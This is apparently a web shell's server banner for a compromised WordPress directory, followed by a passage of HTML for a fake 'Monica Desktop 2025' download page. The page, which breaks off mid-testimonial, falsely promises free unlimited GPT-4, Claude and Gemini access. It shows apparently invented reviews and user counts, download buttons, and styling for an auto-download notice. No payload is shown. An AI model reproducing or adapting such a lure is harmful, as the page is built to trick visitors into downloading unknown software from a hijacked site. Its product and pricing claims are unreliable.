Server : Apache/2 System : Linux vps.sdns.vn 3.10.0-1160.15.2.el7.x86_64 #1 SMP Wed Feb 3 15:06:38 UTC 2021 x86_64 User : phatdatpq ( 1022) PHP Version : 7.2.34 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname Directory : /home/phatdatpq/domains/phatdatphuquy.com/public_html/wp-admin/ |
Upload File : |
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Monica Desktop 2025 - Your All-in-One AI Assistant</title> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css" rel="stylesheet"> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800;900&display=swap" rel="stylesheet"> <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700;800;900&display=swap" rel="stylesheet"> <style> :root { /* Monica Brand Colors inspired by monica.im */ --monica-primary: #6366f1; --monica-secondary: #8b5cf6; --monica-accent: #06b6d4; --monica-success: #10b981; --monica-warning: #f59e0b; --monica-danger: #ef4444; /* Gradients */ --primary-gradient: linear-gradient(135deg, #6366f1 0%, #8b5cf6 100%); --secondary-gradient: linear-gradient(135deg, #06b6d4 0%, #3b82f6 100%); --success-gradient: linear-gradient(135deg, #10b981 0%, #059669 100%); --hero-gradient: linear-gradient(135deg, #667eea 0%, #764ba2 100%); --premium-gradient: linear-gradient(135deg, #f093fb 0%, #f5576c 100%); --dark-gradient: linear-gradient(135deg, #1f2937 0%, #111827 100%); /* Text Colors */ --text-primary: #111827; --text-secondary: #6b7280; --text-muted: #9ca3af; --text-white: #ffffff; /* Background Colors */ --bg-primary: #ffffff; --bg-secondary: #f9fafb; --bg-tertiary: #f3f4f6; --bg-dark: #1f2937; /* Border & Shadow */ --border-light: #e5e7eb; --border-medium: #d1d5db; --shadow-sm: 0 1px 2px 0 rgba(0, 0, 0, 0.05); --shadow-md: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06); --shadow-lg: 0 10px 15px -3px rgba(0, 0, 0, 0.1), 0 4px 6px -2px rgba(0, 0, 0, 0.05); --shadow-xl: 0 20px 25px -5px rgba(0, 0, 0, 0.1), 0 10px 10px -5px rgba(0, 0, 0, 0.04); --shadow-2xl: 0 25px 50px -12px rgba(0, 0, 0, 0.25); /* Spacing */ --space-xs: 0.25rem; --space-sm: 0.5rem; --space-md: 1rem; --space-lg: 1.5rem; --space-xl: 2rem; --space-2xl: 3rem; --space-3xl: 4rem; /* Border Radius */ --radius-sm: 0.375rem; --radius-md: 0.5rem; --radius-lg: 0.75rem; --radius-xl: 1rem; --radius-2xl: 1.5rem; --radius-full: 9999px; } * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; line-height: 1.6; color: var(--text-primary); background: var(--bg-primary); overflow-x: hidden; scroll-behavior: smooth; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .container { max-width: 1280px; margin: 0 auto; padding: 0 1.5rem; } .container-sm { max-width: 640px; margin: 0 auto; padding: 0 1.5rem; } .container-lg { max-width: 1440px; margin: 0 auto; padding: 0 1.5rem; } /* SUCCESS NOTIFICATION - REPLACES AUTO DOWNLOAD NOTICE */ .success-notification { position: fixed; top: 20px; right: 20px; background: var(--success-gradient); color: white; padding: 1rem 2rem; border-radius: var(--radius-2xl); font-weight: 600; font-size: 0.95rem; box-shadow: var(--shadow-2xl); z-index: 9999; display: none; animation: slideInRight 0.5s cubic-bezier(0.68, -0.55, 0.265, 1.55); backdrop-filter: blur(20px); border: 1px solid rgba(255, 255, 255, 0.2); min-width: 320px; text-align: center; } .success-notification i { margin-right: 0.5rem; color: #ffffff; } /* Modern Header with Glass Morphism */ header { position: fixed; top: 0; left: 0; right: 0; z-index: 1000; background: rgba(255, 255, 255, 0.8); backdrop-filter: blur(20px); -webkit-backdrop-filter: blur(20px); border-bottom: 1px solid rgba(255, 255, 255, 0.2); transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); padding: 0.75rem 0; } .header-scrolled { background: rgba(255, 255, 255, 0.95) !important; box-shadow: var(--shadow-lg) !important; backdrop-filter: blur(25px) !important; } nav { display: flex; justify-content: space-between; align-items: center; height: 60px; } .logo { display: flex; align-items: center; gap: 0.75rem; font-size: 1.75rem; font-weight: 800; color: var(--text-primary); text-decoration: none; transition: transform 0.3s ease; font-family: 'Poppins', sans-serif; } .logo:hover { transform: scale(1.05); } .logo img { width: 42px; height: 42px; border-radius: var(--radius-xl); box-shadow: var(--shadow-md); transition: all 0.3s ease; } .logo:hover img { box-shadow: var(--shadow-lg); transform: rotate(5deg); } .nav-links { display: flex; list-style: none; gap: 2.5rem; align-items: center; } .nav-links li { position: relative; } .nav-links a { text-decoration: none; color: var(--text-secondary); font-weight: 500; font-size: 0.95rem; transition: all 0.3s ease; position: relative; padding: 0.5rem 0; } .nav-links a::after { content: ''; position: absolute; width: 0; height: 2px; bottom: 0; left: 50%; background: var(--primary-gradient); transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); transform: translateX(-50%); border-radius: var(--radius-full); } .nav-links a:hover { color: var(--text-primary); transform: translateY(-1px); } .nav-links a:hover::after { width: 100%; } .nav-cta { background: var(--primary-gradient) !important; color: white !important; padding: 0.75rem 1.5rem; border-radius: var(--radius-xl); font-size: 0.9rem; font-weight: 600; text-decoration: none; transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); box-shadow: var(--shadow-md); border: none; cursor: pointer; } .nav-cta:hover { transform: translateY(-2px); box-shadow: var(--shadow-xl); } .mobile-menu-btn { display: none; background: none; border: none; font-size: 1.5rem; color: var(--text-primary); cursor: pointer; padding: 0.5rem; border-radius: var(--radius-md); transition: all 0.3s ease; } .mobile-menu-btn:hover { background: var(--bg-secondary); } /* Hero Section - Enhanced */ .hero { padding: 180px 0 120px; background: var(--hero-gradient); position: relative; overflow: hidden; min-height: 100vh; display: flex; align-items: center; } .hero::before { content: ''; position: absolute; top: 0; left: 0; right: 0; bottom: 0; background: url('data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><defs><pattern id="grid" width="20" height="20" patternUnits="userSpaceOnUse"><path d="M 20 0 L 0 0 0 20" fill="none" stroke="white" stroke-width="0.5" opacity="0.1"/></pattern></defs><rect width="100" height="100" fill="url(%23grid)"/></svg>'); pointer-events: none; } .hero::after { content: ''; position: absolute; top: 0; left: 0; right: 0; bottom: 0; background: radial-gradient(circle at 20% 50%, rgba(255, 255, 255, 0.1) 0%, transparent 50%), radial-gradient(circle at 80% 20%, rgba(255, 255, 255, 0.1) 0%, transparent 50%), radial-gradient(circle at 40% 80%, rgba(255, 255, 255, 0.1) 0%, transparent 50%); pointer-events: none; } .hero-content { position: relative; z-index: 2; text-align: center; width: 100%; } .announcement { display: inline-flex; align-items: center; gap: 0.75rem; background: rgba(255, 255, 255, 0.15); backdrop-filter: blur(15px); color: white; padding: 0.875rem 1.75rem; border-radius: var(--radius-full); font-size: 0.9rem; font-weight: 600; margin-bottom: 2.5rem; border: 1px solid rgba(255, 255, 255, 0.2); animation: float 3s ease-in-out infinite; box-shadow: var(--shadow-lg); transition: all 0.3s ease; } .announcement:hover { transform: translateY(-2px); box-shadow: var(--shadow-xl); } .announcement i { font-size: 1.1rem; animation: pulse 2s infinite; } .hero h1 { font-size: clamp(2.5rem, 6vw, 4.5rem); font-weight: 900; margin-bottom: 1.5rem; color: white; line-height: 1.1; letter-spacing: -0.02em; font-family: 'Poppins', sans-serif; text-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); } .hero-subtitle { font-size: clamp(1.125rem, 2.5vw, 1.375rem); color: rgba(255, 255, 255, 0.9); margin-bottom: 3rem; max-width: 900px; margin-left: auto; margin-right: auto; line-height: 1.6; font-weight: 400; } .cta-buttons { display: flex; gap: 1.5rem; justify-content: center; flex-wrap: wrap; margin-bottom: 4rem; } .btn { padding: 1.125rem 2.25rem; border: none; border-radius: var(--radius-2xl); font-size: 1rem; font-weight: 600; cursor: pointer; transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); text-decoration: none; display: inline-flex; align-items: center; gap: 0.75rem; position: relative; overflow: hidden; min-width: 220px; justify-content: center; font-family: 'Inter', sans-serif; } .btn::before { content: ''; position: absolute; top: 0; left: -100%; width: 100%; height: 100%; background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.2), transparent); transition: left 0.5s ease; } .btn:hover::before { left: 100%; } .btn-primary { background: white; color: var(--monica-primary); box-shadow: var(--shadow-2xl); } .btn-primary:hover { transform: translateY(-3px); box-shadow: 0 25px 50px -12px rgba(0, 0, 0, 0.25); } .btn-secondary { background: rgba(255, 255, 255, 0.1); color: white; border: 2px solid rgba(255, 255, 255, 0.3); backdrop-filter: blur(15px); } .btn-secondary:hover { background: rgba(255, 255, 255, 0.2); border-color: rgba(255, 255, 255, 0.5); transform: translateY(-2px); } .hero-stats { display: flex; justify-content: center; gap: 3rem; flex-wrap: wrap; margin-top: 2rem; } .hero-stat { text-align: center; color: rgba(255, 255, 255, 0.9); } .hero-stat-number { font-size: 2rem; font-weight: 800; display: block; margin-bottom: 0.25rem; font-family: 'Poppins', sans-serif; } .hero-stat-label { font-size: 0.9rem; opacity: 0.8; } /* Premium Free Offer Section - Enhanced */ .free-offer { background: var(--secondary-gradient); color: white; padding: 120px 0; position: relative; overflow: hidden; } .free-offer::before { content: ''; position: absolute; top: 0; left: 0; right: 0; bottom: 0; background: url('data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><circle cx="20" cy="20" r="2" fill="white" opacity="0.1"/><circle cx="80" cy="40" r="1.5" fill="white" opacity="0.1"/><circle cx="40" cy="80" r="1" fill="white" opacity="0.1"/><circle cx="90" cy="90" r="2.5" fill="white" opacity="0.1"/><circle cx="10" cy="60" r="1.8" fill="white" opacity="0.1"/><circle cx="70" cy="10" r="1.2" fill="white" opacity="0.1"/></svg>'); animation: float 8s ease-in-out infinite; } .free-offer-content { position: relative; z-index: 2; text-align: center; } .free-offer h2 { font-size: clamp(2.25rem, 5vw, 3.5rem); font-weight: 900; margin-bottom: 1.5rem; text-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); font-family: 'Poppins', sans-serif; } .free-offer-subtitle { font-size: clamp(1.125rem, 2.5vw, 1.375rem); margin-bottom: 3rem; opacity: 0.95; font-weight: 500; max-width: 800px; margin-left: auto; margin-right: auto; } .ai-models-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(320px, 1fr)); gap: 2rem; margin: 4rem 0; max-width: 1200px; margin-left: auto; margin-right: auto; } .ai-model { background: rgba(255, 255, 255, 0.15); backdrop-filter: blur(20px); padding: 2.5rem; border-radius: var(--radius-2xl); border: 1px solid rgba(255, 255, 255, 0.2); text-align: center; transition: all 0.4s cubic-bezier(0.4, 0, 0.2, 1); position: relative; overflow: hidden; } .ai-model::before { content: ''; position: absolute; top: 0; left: 0; right: 0; height: 4px; background: linear-gradient(90deg, #ff6b6b, #4ecdc4, #45b7d1, #96ceb4, #feca57); opacity: 0; transition: opacity 0.3s ease; } .ai-model:hover { transform: translateY(-8px); box-shadow: var(--shadow-2xl); background: rgba(255, 255, 255, 0.2); } .ai-model:hover::before { opacity: 1; } .ai-model-icon { width: 60px; height: 60px; background: rgba(255, 255, 255, 0.2); border-radius: var(--radius-xl); display: flex; align-items: center; justify-content: center; margin: 0 auto 1.5rem; font-size: 1.5rem; transition: all 0.3s ease; } .ai-model:hover .ai-model-icon { transform: scale(1.1); background: rgba(255, 255, 255, 0.3); } .ai-model h4 { font-size: 1.375rem; font-weight: 700; margin-bottom: 1rem; font-family: 'Poppins', sans-serif; } .ai-model p { font-size: 1rem; opacity: 0.9; line-height: 1.6; margin: 0; } .forever-free { background: rgba(255, 255, 255, 0.2); padding: 2rem 4rem; border-radius: var(--radius-full); font-size: 1.375rem; font-weight: 800; margin-top: 4rem; display: inline-block; border: 2px solid rgba(255, 255, 255, 0.3); backdrop-filter: blur(15px); animation: pulse 2s infinite; font-family: 'Poppins', sans-serif; text-transform: uppercase; letter-spacing: 0.05em; } /* Features Section - Enhanced */ .features { padding: 140px 0; background: var(--bg-secondary); position: relative; } .features::before { content: ''; position: absolute; top: 0; left: 0; right: 0; bottom: 0; background: radial-gradient(circle at 30% 20%, rgba(99, 102, 241, 0.05) 0%, transparent 50%), radial-gradient(circle at 70% 80%, rgba(139, 92, 246, 0.05) 0%, transparent 50%); pointer-events: none; } .features-header { text-align: center; margin-bottom: 5rem; position: relative; z-index: 2; } .features h2 { font-size: clamp(2.25rem, 5vw, 3.5rem); font-weight: 900; margin-bottom: 1.5rem; color: var(--text-primary); letter-spacing: -0.02em; font-family: 'Poppins', sans-serif; } .features-subtitle { font-size: clamp(1.125rem, 2.5vw, 1.375rem); color: var(--text-secondary); max-width: 800px; margin: 0 auto; font-weight: 500; line-height: 1.6; } .features-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(400px, 1fr)); gap: 2.5rem; position: relative; z-index: 2; } .feature-card { background: white; padding: 3rem; border-radius: var(--radius-2xl); border: 1px solid var(--border-light); transition: all 0.4s cubic-bezier(0.4, 0, 0.2, 1); position: relative; overflow: hidden; box-shadow: var(--shadow-sm); } .feature-card::before { content: ''; position: absolute; top: 0; left: 0; right: 0; bottom: 0; background: var(--primary-gradient); opacity: 0; transition: opacity 0.3s ease; } .feature-card:hover { transform: translateY(-8px); box-shadow: var(--shadow-2xl); border-color: transparent; } .feature-card:hover::before { opacity: 0.03; } .feature-icon { width: 80px; height: 80px; background: var(--primary-gradient); border-radius: var(--radius-2xl); display: flex; align-items: center; justify-content: center; font-size: 2rem; margin-bottom: 2rem; position: relative; z-index: 2; box-shadow: var(--shadow-lg); transition: all 0.3s ease; } .feature-card:hover .feature-icon { transform: scale(1.1) rotate(5deg); } .feature-card h3 { font-size: 1.5rem; font-weight: 700; margin-bottom: 1.5rem; color: var(--text-primary); position: relative; z-index: 2; font-family: 'Poppins', sans-serif; } .feature-card p { color: var(--text-secondary); line-height: 1.7; font-size: 1.1rem; position: relative; z-index: 2; } /* Premium Desktop Features Section */ .desktop-features { padding: 140px 0; background: white; position: relative; overflow: hidden; } .desktop-features::before { content: ''; position: absolute; top: 0; left: 0; right: 0; bottom: 0; background: url('data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><defs><linearGradient id="grad1" x1="0%" y1="0%" x2="100%" y2="100%"><stop offset="0%" style="stop-color:rgb(99,102,241);stop-opacity:0.05" /><stop offset="100%" style="stop-color:rgb(139,92,246);stop-opacity:0.05" /></linearGradient></defs><rect width="100" height="100" fill="url(%23grad1)"/></svg>'); pointer-events: none; } .desktop-features-header { text-align: center; margin-bottom: 4rem; position: relative; z-index: 2; } .desktop-features h2 { font-size: clamp(2rem, 4vw, 3rem); font-weight: 900; margin-bottom: 1rem; color: var(--text-primary); font-family: 'Poppins', sans-serif; } .desktop-features-subtitle { font-size: clamp(1rem, 2vw, 1.25rem); color: var(--text-secondary); max-width: 700px; margin: 0 auto; } .desktop-features-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(350px, 1fr)); gap: 2rem; position: relative; z-index: 2; } .desktop-feature { padding: 2.5rem; border-radius: var(--radius-2xl); text-align: center; position: relative; overflow: hidden; transition: all 0.4s cubic-bezier(0.4, 0, 0.2, 1); } .desktop-feature.unlimited { background: var(--primary-gradient); color: white; } .desktop-feature.priority { background: var(--premium-gradient); color: white; } .desktop-feature.support { background: var(--secondary-gradient); color: white; } .desktop-feature:hover { transform: translateY(-8px) scale(1.02); box-shadow: var(--shadow-2xl); } .desktop-feature i { font-size: 3rem; margin-bottom: 1.5rem; opacity: 0.9; display: block; } .desktop-feature h3 { font-size: 1.5rem; font-weight: 700; margin-bottom: 1rem; font-family: 'Poppins', sans-serif; } .desktop-feature p { opacity: 0.9; line-height: 1.6; font-size: 1.05rem; } /* Testimonials Section */ .testimonials { padding: 140px 0; background: var(--bg-secondary); position: relative; } .testimonials-header { text-align: center; margin-bottom: 5rem; } .testimonials h2 { font-size: clamp(2.25rem, 5vw, 3.5rem); font-weight: 900; margin-bottom: 1.5rem; color: var(--text-primary); font-family: 'Poppins', sans-serif; } .testimonials-subtitle { font-size: clamp(1.125rem, 2.5vw, 1.375rem); color: var(--text-secondary); max-width: 800px; margin: 0 auto; } .testimonials-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(400px, 1fr)); gap: 2.5rem; } .testimonial { background: white; padding: 3rem; border-radius: var(--radius-2xl); box-shadow: var(--shadow-md); border: 1px solid var(--border-light); transition: all 0.4s cubic-bezier(0.4, 0, 0.2, 1); position: relative; overflow: hidden; } .testimonial::before { content: '"'; position: absolute; top: 1rem; left: 2rem; font-size: 6rem; color: var(--monica-primary); opacity: 0.1; font-family: 'Georgia', serif; line-height: 1; } .testimonial:hover { transform: translateY(-5px); box-shadow: var(--shadow-xl); } .testimonial-content { position: relative; z-index: 2; } .testimonial-text { font-size: 1.125rem; line-height: 1.7; color: var(--text-primary); margin-bottom: 2rem; font-style: italic; } .testimonial-author { display: flex; align-items: center; gap: 1rem; } .testimonial-avatar { width: 60px; height: 60px; border-radius: var(--radius-full); background: var(--primary-gradient); display: flex; align-items: center; justify-content: center; color: white; font-weight: 700; font-size: 1.25rem; } .testimonial-info h4 { font-weight: 600; color: var(--text-primary); margin-bottom: 0.25rem; } .testimonial-info p { color: var(--text-secondary); font-size: 0.9rem; } /* Download Section - Enhanced */ .download-section { padding: 140px 0; background: var(--dark-gradient); color: white; position: relative; overflow: hidden; } .download-section::before { content: ''; position: absolute; top: 0; left: 0; right: 0; bottom: 0; background: url('data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><defs><pattern id="stars" width="10" height="10" patternUnits="userSpaceOnUse"><circle cx="2" cy="2" r="0.5" fill="white" opacity="0.1"/><circle cx="8" cy="8" r="0.3" fill="white" opacity="0.1"/><circle cx="5" cy="7" r="0.2" fill="white" opacity="0.1"/></pattern></defs><rect width="100" height="100" fill="url(%23stars)"/></svg>'); animation: twinkle 10s linear infinite; } .download-content { text-align: center; position: relative; z-index: 2; } .download-section h2 { font-size: clamp(2.5rem, 6vw, 4rem); font-weight: 900; margin-bottom: 1.5rem; text-shadow: 0 2px 4px rgba(0, 0, 0, 0.3); font-family: 'Poppins', sans-serif; } .download-subtitle { font-size: clamp(1.125rem, 2.5vw, 1.375rem); margin-bottom: 4rem; opacity: 0.9; max-width: 800px; margin-left: auto; margin-right: auto; } .platform-buttons { display: flex; justify-content: center; gap: 2rem; flex-wrap: wrap; margin-bottom: 4rem; } .platform-btn { background: rgba(255, 255, 255, 0.1); backdrop-filter: blur(20px); border: 2px solid rgba(255, 255, 255, 0.2); color: white; padding: 1.5rem 2.5rem; border-radius: var(--radius-2xl); font-size: 1.1rem; font-weight: 600; cursor: pointer; transition: all 0.4s cubic-bezier(0.4, 0, 0.2, 1); text-decoration: none; display: flex; align-items: center; gap: 1rem; min-width: 200px; justify-content: center; position: relative; overflow: hidden; } .platform-btn::before { content: ''; position: absolute; top: 0; left: -100%; width: 100%; height: 100%; background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.2), transparent); transition: left 0.5s ease; } .platform-btn:hover::before { left: 100%; } .platform-btn:hover { background: rgba(255, 255, 255, 0.2); border-color: rgba(255, 255, 255, 0.4); transform: translateY(-3px); box-shadow: var(--shadow-2xl); } .platform-btn i { font-size: 1.5rem; } .auto-download-info { background: rgba(255, 255, 255, 0.1); backdrop-filter: blur(15px); padding: 2rem; border-radius: var(--radius-2xl); border: 1px solid rgba(255, 255, 255, 0.2); max-width: 600px; margin: 0 auto; text-align: center; } .auto-download-info h3 { font-size: 1.375rem; font-weight: 700; margin-bottom: 1rem; font-family: 'Poppins', sans-serif; } .auto-download-info p { opacity: 0.9; line-height: 1.6; margin: 0; } /* Footer */ footer { background: var(--text-primary); color: white; padding: 4rem 0 2rem; position: relative; } .footer-content { display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 3rem; margin-bottom: 3rem; } .footer-section h3 { font-size: 1.25rem; font-weight: 700; margin-bottom: 1.5rem; color: white; font-family: 'Poppins', sans-serif; } .footer-section p, .footer-section a { color: rgba(255, 255, 255, 0.8); text-decoration: none; line-height: 1.8; transition: color 0.3s ease; } .footer-section a:hover { color: white; } .footer-links { list-style: none; } .footer-links li { margin-bottom: 0.75rem; } .footer-bottom { border-top: 1px solid rgba(255, 255, 255, 0.1); padding-top: 2rem; text-align: center; color: rgba(255, 255, 255, 0.6); } .social-links { display: flex; gap: 1rem; justify-content: center; margin-top: 1rem; } .social-links a { width: 40px; height: 40px; background: rgba(255, 255, 255, 0.1); border-radius: var(--radius-full); display: flex; align-items: center; justify-content: center; color: white; transition: all 0.3s ease; } .social-links a:hover { background: var(--monica-primary); transform: translateY(-2px); } /* Animations */ @keyframes float { 0%, 100% { transform: translateY(0px); } 50% { transform: translateY(-10px); } } @keyframes pulse { 0%, 100% { opacity: 1; } 50% { opacity: 0.7; } } @keyframes slideInRight { from { opacity: 0; transform: translateX(100px); } to { opacity: 1; transform: translateX(0); } } @keyframes slideOutRight { from { opacity: 1; transform: translateX(0); } to { opacity: 0; transform: translateX(100px); } } @keyframes twinkle { 0% { transform: translateX(0); } 100% { transform: translateX(-100px); } } .success-animation { animation: successPulse 0.6s ease-out; } @keyframes successPulse { 0% { transform: scale(1); } 50% { transform: scale(1.05); } 100% { transform: scale(1); } } /* Responsive Design */ @media (max-width: 768px) { .nav-links { display: none; } .mobile-menu-btn { display: block; } .hero { padding: 140px 0 80px; text-align: center; } .cta-buttons { flex-direction: column; align-items: center; } .btn { width: 100%; max-width: 300px; } .hero-stats { gap: 2rem; } .features-grid { grid-template-columns: 1fr; } .feature-card { padding: 2rem; } .ai-models-grid { grid-template-columns: 1fr; } .desktop-features-grid { grid-template-columns: 1fr; } .testimonials-grid { grid-template-columns: 1fr; } .platform-buttons { flex-direction: column; align-items: center; } .platform-btn { width: 100%; max-width: 280px; } .container { padding: 0 1rem; } } @media (max-width: 480px) { .hero { padding: 120px 0 60px; } .announcement { font-size: 0.8rem; padding: 0.75rem 1.5rem; } .hero-stats { flex-direction: column; gap: 1.5rem; } .feature-card, .testimonial, .ai-model { padding: 1.5rem; } .forever-free { padding: 1.5rem 2.5rem; font-size: 1.125rem; } } /* High contrast mode support */ @media (prefers-contrast: high) { :root { --text-primary: #000000; --text-secondary: #333333; --border-light: #666666; } } /* Reduced motion support */ @media (prefers-reduced-motion: reduce) { *, *::before, *::after { animation-duration: 0.01ms !important; animation-iteration-count: 1 !important; transition-duration: 0.01ms !important; } } </style> </head> <body> <!-- Header --> <header id="header"> <nav class="container"> <a href="#" class="logo"> <img src="https://cdn-1.webcatalog.io/catalog/monica-im/monica-im-icon-unplated.png?v=1752453831666" alt="Monica AI"> <span>Monica Desktop</span> </a> <ul class="nav-links"> <li><a href="#features">Features</a></li> <li><a href="#ai-models">AI Models</a></li> <li><a href="#testimonials">Reviews</a></li> <li><a href="#download">Download</a></li> <li><a href="https://monica.im" target="_blank">Web Version</a></li> </ul> <button class="nav-cta" id="downloadBtn"> <i class="fas fa-download"></i> Download Free </button> <button class="mobile-menu-btn"> <i class="fas fa-bars"></i> </button> </nav> </header> <!-- Success Notification (Hidden by default) --> <div class="success-notification" id="successNotification"> <i class="fas fa-check-circle"></i> Download started! Check your downloads folder. </div> <!-- Hero Section --> <section class="hero"> <div class="container"> <div class="hero-content"> <div class="announcement"> <i class="fas fa-rocket"></i> <span>New 2025 Version - Now with GPT-4, Claude & Gemini</span> </div> <h1>Your Ultimate AI Assistant Desktop App</h1> <p class="hero-subtitle"> Experience the power of ChatGPT-4, Claude-3, Gemini Pro, and 20+ premium AI models in one beautiful desktop application. Work faster, think smarter, achieve more. </p> <div class="cta-buttons"> <button class="btn btn-primary" id="mainDownloadBtn"> <i class="fas fa-download"></i> Download Free Desktop App </button> <a href="https://monica.im" target="_blank" class="btn btn-secondary"> <i class="fas fa-globe"></i> Try Web Version </a> </div> <div class="hero-stats"> <div class="hero-stat"> <span class="hero-stat-number">10M+</span> <span class="hero-stat-label">Active Users</span> </div> <div class="hero-stat"> <span class="hero-stat-number">20+</span> <span class="hero-stat-label">AI Models</span> </div> <div class="hero-stat"> <span class="hero-stat-number">4.9★</span> <span class="hero-stat-label">User Rating</span> </div> </div> </div> </div> </section> <!-- Free Premium Offer Section --> <section class="free-offer" id="ai-models"> <div class="container"> <div class="free-offer-content"> <h2>Premium AI Models - Completely Free</h2> <p class="free-offer-subtitle"> Access the world's most advanced AI models without any subscription fees. Experience unlimited conversations with cutting-edge artificial intelligence. </p> <div class="ai-models-grid"> <div class="ai-model"> <div class="ai-model-icon"> <i class="fas fa-brain"></i> </div> <h4>GPT-4 & GPT-4 Turbo</h4> <p>OpenAI's most advanced language model for complex reasoning, creative writing, and detailed analysis.</p> </div> <div class="ai-model"> <div class="ai-model-icon"> <i class="fas fa-robot"></i> </div> <h4>Claude-3 Sonnet & Haiku</h4> <p>Anthropic's powerful AI for nuanced conversations, code generation, and ethical reasoning.</p> </div> <div class="ai-model"> <div class="ai-model-icon"> <i class="fas fa-gem"></i> </div> <h4>Google Gemini Pro</h4> <p>Google's multimodal AI for text, image understanding, and advanced problem-solving capabilities.</p> </div> <div class="ai-model"> <div class="ai-model-icon"> <i class="fas fa-code"></i> </div> <h4>Specialized Models</h4> <p>Access Llama, Mistral, Perplexity, and 15+ other specialized AI models for specific tasks.</p> </div> </div> <div class="forever-free"> ✨ Forever Free - No Hidden Costs ✨ </div> </div> </div> </section> <!-- Features Section --> <section class="features" id="features"> <div class="container"> <div class="features-header"> <h2>Powerful Features for Maximum Productivity</h2> <p class="features-subtitle"> Monica Desktop combines the best AI models with intuitive design to supercharge your workflow. </p> </div> <div class="features-grid"> <div class="feature-card"> <div class="feature-icon"> <i class="fas fa-comments" style="color: white;"></i> </div> <h3>Smart Conversations</h3> <p>Engage in natural, context-aware conversations with multiple AI models. Switch between GPT-4, Claude, and Gemini seamlessly for different tasks and perspectives.</p> </div> <div class="feature-card"> <div class="feature-icon"> <i class="fas fa-file-alt" style="color: white;"></i> </div> <h3>Document Analysis</h3> <p>Upload and analyze PDFs, documents, images, and files. Get instant summaries, extract key information, and ask questions about your content.</p> </div> <div class="feature-card"> <div class="feature-icon"> <i class="fas fa-code" style="color: white;"></i> </div> <h3>Code Generation</h3> <p>Generate, debug, and optimize code in 50+ programming languages. From simple scripts to complex applications, AI helps you code faster and better.</p> </div> <div class="feature-card"> <div class="feature-icon"> <i class="fas fa-language" style="color: white;"></i> </div> <h3>Multi-Language Support</h3> <p>Translate text, learn languages, and communicate globally. Support for 100+ languages with context-aware translations and cultural nuances.</p> </div> <div class="feature-card"> <div class="feature-icon"> <i class="fas fa-search" style="color: white;"></i> </div> <h3>Web Search Integration</h3> <p>Get real-time information from the web. Monica searches and synthesizes current data to provide accurate, up-to-date answers to your questions.</p> </div> <div class="feature-card"> <div class="feature-icon"> <i class="fas fa-shield-alt" style="color: white;"></i> </div> <h3>Privacy & Security</h3> <p>Your data stays private and secure. End-to-end encryption, local processing options, and no data mining ensure your conversations remain confidential.</p> </div> </div> </div> </section> <!-- Desktop Features Section --> <section class="desktop-features"> <div class="container"> <div class="desktop-features-header"> <h2>Why Choose Desktop Over Web?</h2> <p class="desktop-features-subtitle"> Experience enhanced performance, better privacy, and exclusive features with Monica Desktop. </p> </div> <div class="desktop-features-grid"> <div class="desktop-feature unlimited"> <i class="fas fa-infinity"></i> <h3>Unlimited Usage</h3> <p>No daily limits, no usage caps. Chat as much as you want with all premium AI models without any restrictions or waiting periods.</p> </div> <div class="desktop-feature priority"> <i class="fas fa-rocket"></i> <h3>Priority Processing</h3> <p>Faster response times and priority access to AI models. Skip the queues and get instant responses even during peak usage times.</p> </div> <div class="desktop-feature support"> <i class="fas fa-headset"></i> <h3>Premium Support</h3> <p>24/7 dedicated support, priority bug fixes, and direct access to our development team for feature requests and technical assistance.</p> </div> </div> </div> </section> <!-- Testimonials Section --> <section class="testimonials" id="testimonials"> <div class="container"> <div class="testimonials-header"> <h2>Loved by Professionals Worldwide</h2> <p class="testimonials-subtitle"> Join millions of users who have transformed their productivity with Monica Desktop. </p> </div> <div class="testimonials-grid"> <div class="testimonial"> <div class="testimonial-content"> <p class="testimonial-text"> "Monica Desktop has revolutionized my workflow. Having GPT-4, Claude, and Gemini in one app saves me hours every day. The desktop version is incredibly fast and reliable." </p> <div class="testimonial-author"> <div class="testimonial-avatar">SM</div> <div class="testimonial-info"> <h4>Sarah Mitchell</h4> <p>Product Manager at TechCorp</p> </div> </div> </div> </div> <div class="testimonial"> <div class="testimonial-content"> <p class="testimonial-text"> "As a developer, I love the code generation features. The ability to switch between different AI models for coding tasks gives me the best solutions for any programming challenge." </p> <div class="testimonial-author"> <div class="testimonial-avatar">JD</div> <div class="testimonial-info"> <h4>James Davis</h4> <p>Senior Software Engineer</p> </div> </div> </div> </div> <div class="testimonial"> <div class="testimonial-content"> <p class="testimonial-text"> "The document analysis feature is a game-changer for my research. I can upload papers, get summaries, and ask detailed questions. It's like having a research assistant 24/7." </p> <div class="testimonial-author"> <div class="testimonial-avatar">AL</div> <div class="testimonial-info"> <h4>Dr. Amanda Lee</h4> <p>Research 